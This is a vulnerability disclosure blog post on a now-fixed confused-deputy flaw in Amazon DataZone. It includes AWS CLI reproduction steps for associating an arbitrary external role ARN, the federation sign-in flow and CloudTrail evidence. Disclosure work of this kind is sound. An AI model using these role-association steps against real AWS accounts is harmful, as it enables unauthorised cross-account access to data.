Research

Confused Deputy Vulnerability in Amazon DataZone

The AssociateEnvironmentRole API lacked cross-account validation, letting an attacker assume roles in any AWS account that trusted the DataZone service principal. Reported August 2024, now fixed.

Carlos Mora, Principal Cloud Security Researcher at TrustOnCloud
Principal Cloud Security Researcher (AWS), TrustOnCloud
8 min read
Confused deputy vulnerability diagram for Amazon DataZone cross-account role assumption
tl;dr

A vulnerability in Amazon DataZone could have allowed potential attackers to assume roles in AWS accounts by exploiting a confused deputy problem in DataZone environments. This issue, which has been resolved, would have potentially granted unauthorized access to sensitive data managed by DataZone, or any other AWS service accessible by an IAM role that trusts the DataZone service in the case of misconfigured or overprivileged roles.

This problem was reported to AWS Security on Aug 29th, 2024 and is already fixed. As per AWS, no customers were impacted.

I'm a DataZone expert, take me straight to the vulnerability

Introduction

The confused deputy problem is a well-known issue in AWS environments. Extensive research has been conducted on this topic, most AWS services implement safeguards to mitigate this risk, and the documentation provides clear guidance on how to prevent it. Given this context, discovering such a vulnerability in a newer service like Amazon DataZone was unlikely.

For more information on the confused deputy problem in AWS, refer to the official AWS documentation.

What is Amazon DataZone?

Amazon DataZone is a data management service with lots of features, so in this blog we will focus on only the key aspects needed to understand this vulnerability. It doesn't store the data itself, but facilitates the cataloging, discovering, sharing, and governing of data stored across AWS, on-premises, and third-party sources. The service operates primarily with two main components: data producers and consumers. Data producers publish assets to the business data catalog. These assets can be AWS Glue tables, Amazon Redshift or custom data sources. Data consumers or subscribers can find, access, and consume assets in the data catalog.

Amazon DataZone architecture: data producers, domains, catalog, and consumers across AWS accounts
Source: How ATPCO enables governed self-service data access with Amazon DataZone | AWS

As a data governance tool, DataZone may have visibility and provide access to an organization's most sensitive data stores. It's important to note that this access is not granted by default. A DataZone administrator or user with the right permissions must explicitly create and configure data sources. When the default blueprints are used, these permissions can be managed by AWS LakeFormation.

DataZone Data Portal

The DataZone data portal is outside the AWS Management Console, and is a browser-based web application where different users can catalog, discover, govern, share, and analyze data in a self-service fashion. The data portal authenticates users with IAM credentials or existing credentials from your identity provider through AWS IAM Identity Center. On each domain there is a hyperlink that opens a new tab with the data portal, and only works if the user has the permission to access it (datazone:GetIamPortalLoginUrl).

The activities and roles available to users with access to the portal and its projects can be reviewed at docs.aws.amazon.com/datazone.

Account Association

A key feature in this service is enabling collaboration across different AWS accounts, belonging to the same or different AWS organizations. From a DataZone domain, administrators can establish associations with any AWS account. Under the hood, DataZone uses AWS Resource Access Manager (RAM) to grant these external accounts access to DataZone APIs. There are two permission modes available:

  • AWSRAMPermissionDefault: Provides basic API access.
  • AWSRAMPermissionPortalReadWrite: Grants additional access to the DataZone portal.
DataZone account association flow using AWS RAM to connect multiple AWS accounts to a domain
DataZone uses AWS RAM to establish associations between a domain and external AWS accounts.

Once the external AWS account accepts the invite, users in that account can access resources in the DataZone domain according to their permission mode.

Environments in DataZone

In the context of an Amazon DataZone project, environments are collections of configured resources (e.g., Amazon S3 buckets, AWS Glue databases, or Amazon Athena workgroups) with associated IAM principals who can operate on those resources. There are two types:

  1. Default environment blueprints (e.g., Default Data Lake, Default Data Warehouse). These use pre-configured blueprints provided by AWS, defining a set of AWS tools and services that project members can use when working with assets in the DataZone catalog.
  2. Custom environment blueprints. These allow for greater flexibility and integration with existing AWS resources. Administrators can customize DataZone project environments to use existing IAM roles and AWS services not available in default blueprints (e.g., AWS Glue ETL jobs or any analytics tool).
DataZone custom environment configuration showing IAM role association and blueprint selection
Custom environment blueprint configuration in the DataZone console.

This is how a trust policy in an IAM role created by the Default Data Lake blueprint looks:

Default Data Lake blueprint IAM trust policyJSON
{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Effect": "Allow",
            "Principal": { "Service": "glue.amazonaws.com" },
            "Action": "sts:AssumeRole"
        },
        {
            "Effect": "Allow",
            "Principal": {
                "Service": [
                    "datazone.amazonaws.com",
                    "auth.datazone.amazonaws.com"
                ]
            },
            "Action": [
                "sts:AssumeRole",
                "sts:TagSession",
                "sts:SetContext",
                "sts:SetSourceIdentity"
            ]
        },
        {
            "Effect": "Allow",
            "Principal": { "Service": "lakeformation.amazonaws.com" },
            "Action": "sts:AssumeRole"
        },
        {
            "Effect": "Allow",
            "Principal": {
                "AWS": "arn:aws:iam::187xxxxxxxxxx:role/service-role/AmazonDataZoneProvisioning-187xxxxxxxxx"
            },
            "Action": "sts:AssumeRole"
        }
    ]
}

AWS documentation suggests this policy for custom environment roles:

Recommended custom environment trust policyJSON
{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Effect": "Allow",
            "Principal": {
                "Service": ["datazone.amazonaws.com"]
            },
            "Action": [
                "sts:AssumeRole",
                "sts:TagSession"
            ]
        }
    ]
}
DataZone environment settings tab showing associated IAM role and deep link to the environment console
The environment's settings tab shows the associated IAM role. The deep link (right) federates the user into the AWS console using that role.

When users click on the environment's deep link (shown on the right), it opens a new browser tab where they are federated into the AWS console with the associated "User role". If this role belongs to a different AWS account than the user's current session, the AWS Console displays a warning requiring the user to log out first. This account-switching behavior is demonstrated in the proof of concept below.

The Vulnerability

The confused deputy problem occurs when a service (the deputy) with higher privileges can be tricked into performing actions it shouldn't. In AWS, this could potentially manifest as one service inappropriately assuming the role of another.

Previous research on this topic, such as that conducted by researchers at Datadog, has been particularly insightful. Their research revealed that while AppSync had built-in validations to prevent cross-account role associations, these protections could be bypassed through case sensitivity manipulation of API parameters. In DataZone's case, however, it was more straightforward: the service didn't apply any validation controls that would typically prevent associating external roles.

The ability to assume a role in an environment is an expected behavior in DataZone, as it allows authorized subscribers to access data securely and easily. However, the vulnerability arose from the possibility of using a custom environment and its API call AssociateEnvironmentRole to associate any arbitrary role ARN, even from AWS accounts that were not associated with the DataZone domain.

An attacker with knowledge of a role ARN in any existing AWS account that (a) trusts datazone.amazonaws.com, and (b) does not have IAM policy conditions preventing unauthorized AWS account principals from assuming it, could have exploited this vulnerability to assume the role and access whatever data that role is granted access to.

Steps to Reproduce

To illustrate this problem, these are the steps to create a custom environment where the vulnerability could be exploited:

Step 1: Create a DataZone domain.

Step 1: Create DataZone domainBash
aws datazone create-domain \
  --domain-execution-role arn:aws:iam::187xxxxxxxx:role/service-role/AmazonDataZoneDomainExecution \
  --name test_domain

Step 2: Once created, enable custom blueprints (Custom AWS Service).

Step 2: Enable custom blueprintsBash
aws datazone put-environment-blueprint-configuration \
  --domain-identifier dzd_5rwijxxxxxxx \
  --enabled-regions us-east-1 \
  --environment-blueprint-identifier ca1cxxxxxx

Step 3: Create a custom environment using the AWS CLI.

Step 3: Create custom environmentBash
aws datazone create-environment \
  --domain-identifier dzd_d4hxxxxxxxx \
  --environment-blueprint-identifier ca1cxxxxxx \
  --environment-profile-identifier "" \
  --name testcli \
  --project-identifier 6swvxxxxx \
  --environment-account-identifier 187xxxxxxxxxxx \
  --environment-account-region us-east-1

Step 4: Create an environment action attached to the environment.

Step 4: Create environment actionBash
aws datazone create-environment-action \
  --domain-identifier dzd_d4hxxxxxxxx \
  --environment-identifier 3tuxxxxxxxxxx \
  --name "Console login" \
  --parameters '{"awsConsoleLink":{"uri": "https://console.aws.amazon.com/"}}'

Step 5: Associate the environment role. This is where the vulnerability was exploitable.

Step 5: Associate arbitrary external role ARN (the vulnerable call)Bash
aws datazone associate-environment-role \
  --domain-identifier dzd_d4hxxxxxxxx \
  --environment-identifier 3tuxxxxxxxxxx \
  --environment-role-arn arn:aws:iam::965xxxxxxxx:role/datazone_axxxxxxxx

The vulnerability was possible because of Step 5. While the console UI only showed roles from the current account, the AssociateEnvironmentRole API call lacked proper validation and allowed associating any arbitrary role ARN from any AWS account. If that role trusted datazone.amazonaws.com as a service principal, an attacker could bypass intended access controls and assume the role.

This is a demonstration of the behavior:

Proof of concept: attacker in account 187xxxxxx federates into the AWS console of account 965xxxxxxxx by associating an unrelated role via the AssociateEnvironmentRole API.

In a simplified version, this is what is happening:

Simplified diagram of the confused deputy attack path through Amazon DataZone to a victim AWS account
Simplified attack flow: the DataZone service acts as the deputy, assuming a role in an unassociated victim account on behalf of the attacker.

The DataZone service and portal exist in an AWS Service Team account. When a domain is created it associates the AWS account that created it by default. In the more detailed flow, inferred from browser developer tools and CloudTrail events in both attacker and victim accounts, the getEnvironmentActionLink call pulls a sign-in token:

getEnvironmentActionLink response formatJSON
{
  "actionLink": "QifP6cnUD_HIRHKufQEPJq6MgY_VBEoQm8mUxxxxxxxxxxxxxxxxx"
}

After that, there is a call to the federation endpoint:

Federation endpoint callBash
https://signin.aws.amazon.com/federation?Action=login
  &Destination=https%3A%2F%2Fconsole.aws.amazon.com%2F
  &Issuer=
  &SigninToken=QifP6cnUD_HIRHKufQEPJq6MgY_VBEoQm8mUxxxxxxxxxxxxxx

The actionLink in the response and SigninToken in the subsequent request match, therefore it's easy to assume the DataZone service calls assumeRole and getSigninToken on behalf of the caller to return a token that can be used to federate the access.

In the victim account, there is an AssumeRole call followed by a GetSigninToken. In both cases the IP address and user agents confirm the calls are coming from the DataZone service:

CloudTrail: AssumeRole by DataZone in victim accountJSON
{
  "eventVersion": "1.08",
  "userIdentity": {
    "type": "AWSService",
    "invokedBy": "datazone.amazonaws.com"
  },
  "eventTime": "2024-xx-xxTxx:44:51Z",
  "eventSource": "sts.amazonaws.com",
  "eventName": "AssumeRole",
  "awsRegion": "us-east-1",
  "sourceIPAddress": "datazone.amazonaws.com",
  "userAgent": "datazone.amazonaws.com"
}
CloudTrail: GetSigninToken confirming federation successJSON
{
  "eventVersion": "1.09",
  "userIdentity": {
    "type": "AssumedRole",
    "principalId": "AROA6xxxxxxxx:0358f385-84c0-44e1-b968-xxxxxxxxx@4lnxxxxxx",
    "arn": "arn:aws:sts::965xxxxxxx:assumed-role/AmazonDataZone_xxxxxxxx/...",
    "accountId": "965xxxxxxxxx"
  },
  "eventTime": "2024-xx-xxTxx:xx:02Z",
  "eventSource": "signin.amazonaws.com",
  "eventName": "GetSigninToken",
  "awsRegion": "us-east-1",
  "sourceIPAddress": "3.95.x.x",
  "userAgent": "Java/17.0.12",
  "responseElements": {
    "credentials": { "accessKeyId": "ASIAxxxxxxxxx" },
    "GetSigninToken": "Success"
  }
}

An API released in DataZone after I finished the research called GetEnvironmentCredentials would have simplified this further, as calling it returns the AccessKeyId, SecretAccessKey, and SessionToken necessary to assume the role in the victim account via CLI or SDK.

Note: The ability to assume a role from the deep link in an environment is expected behavior in DataZone. DataZone data consumers should be able to access tools in the environment, even from another account, as long as it is an associated AWS account. The issue was specifically the possibility of using a custom environment and AssociateEnvironmentRole to reference a role from an account that was never associated with the DataZone domain.

Scope and Impact

Affected AWS accounts: Any AWS account using, or that has used, DataZone and didn't clean the IAM roles.

The vulnerability affected two types of roles:

  1. DataZone custom environment roles. AWS documentation for creating custom environments didn't instruct customers to limit role assumption to trusted AWS accounts. Many organizations might not have created roles with proper restrictions to trusted accounts only.
  2. Roles created from default blueprints. These environments are created by a CloudFormation template deployed by the service. Unlike other DataZone service-created roles, the template role creation did not add an aws:sourceAccount condition to the trust policy.

The level of access on those AWS accounts depends on the IAM role configuration:

  1. DataZone custom environment roles: Depends on company practices for these roles. It is not possible to know the full extent of the issue as it could easily be an over-privileged role.
  2. Roles created from default blueprints: While the trust policy isn't locked down, the IAM policies of the roles are. There is still broad access to List* and Get* calls in some services such as IAM, and a few other concerning permissions even after considering the permissions boundary applied. The data these roles can access may be sensitive, and by being able to list roles in an unrestricted manner, it may be possible to find another equally vulnerable role with higher privileges or access to other data stores.

While this vulnerability was serious, widespread exploitation was challenging:

  • Role ARN guessing difficulty: An attacker would need to know or guess both the AWS account number and the role name. For default environment roles, this created a vast number of possibilities making brute-force attacks impractical. For custom environments, it depends on IAM role naming standards. But this is not acceptable risk for most companies when you consider: ex-employees, an employee pasting error logs in public forums, or a determined attacker.
  • Role ARN guessing is difficult, but in the next blog I will discuss one method that could have been used to guess the AWS account part of the role ARN by using an AWS service (reported to AWS security, and no longer works).

For other roles used or created by the DataZone service: all default service roles are protected by the condition "aws:SourceAccount": "{{domain_account}}", which prevents an environment role in a random AWS account from assuming it. This suggests the service team was aware of this class of issue but for some reason didn't implement the same validation for environment roles.

Conclusion

This vulnerability in Amazon DataZone serves as a reminder that even in newer cloud services, classic security issues like the confused deputy problem can still occur. It underscores the importance of:

  1. Proper IAM role configuration, especially when dealing with cross-account or service principal access. Ensure aws:SourceAccount and aws:SourceArn conditions are being used.
  2. Regular security audits of cloud services and their associated roles. If the AWS console UI doesn't show or allow external roles, validate whether the API permits it.
  3. The need for cloud service providers to implement robust security measures by default.

For Amazon DataZone users:

  • Ensure AWS accounts associated to a domain are properly vetted, and user memberships in projects are authorized.
  • Regularly review and audit IAM roles and their trust relationships.
  • Enforce least privilege access principles.

While AWS has fixed this particular issue, it serves as a lesson in the ongoing need for threat modeling and testing assumptions.

Vendor Notification Timeline

Aug 29, 2024
TrustOnCloud reports the vulnerability to AWS Security.
Sep 5, 2024
AWS Security requests more detailed steps to reproduce the issue.
Sep 9, 2024
TrustOnCloud provides step-by-step reproduction instructions and a demonstration video.
Sep 12, 2024
TrustOnCloud shares the POC video again after a permissions issue prevented AWS from viewing it.
Sep 25, 2024
AWS Security validates the POC and confirms a fix has been deployed globally.

"The AWS DataZone team was able to validate the proof of concept you provided and confirmed there were no changes with the new API releases that would have impacted your PoC. The team completed the investigation and determined from your PoC, that a project member (third party) can associate any random AWS role to the environment in the project. But the third party still would not be able to assume this role, unless the role has allowed a DataZone Service Principal to trust it."

"The DataZone team made changes to correct the behavior with the AssociateEnvironmentRole and DisassociateEnvironmentRole APIs and deployed a fix globally. No documentation updates were made because this is correctly outlined in the DataZone create a custom environment documentation."

Reference: docs.aws.amazon.com/datazone/latest/userguide/create-custom-environment.html

Sep 30, 2024
AWS Security follows up.
Oct 1, 2024
TrustOnCloud acknowledges the resolution and confirms the issue can no longer be reproduced.
ThreatModel for AWS DataZone now on AWS Marketplace
The full threat model for DataZone, including all controls, threats, and compliance mappings, is available for purchase.
Get on AWS Marketplace
Carlos Mora
Principal Cloud Security Researcher (AWS), TrustOnCloud
Carlos is TrustOnCloud's Principal Cloud Security Researcher specializing in AWS. He conducts in-depth security research on AWS services, including threat modeling, vulnerability discovery, and responsible disclosure to help regulated enterprises stay ahead of cloud security risks.
Get the full DataZone threat model
Every control, threat, and compliance mapping for Amazon DataZone, built by the researchers who found this vulnerability.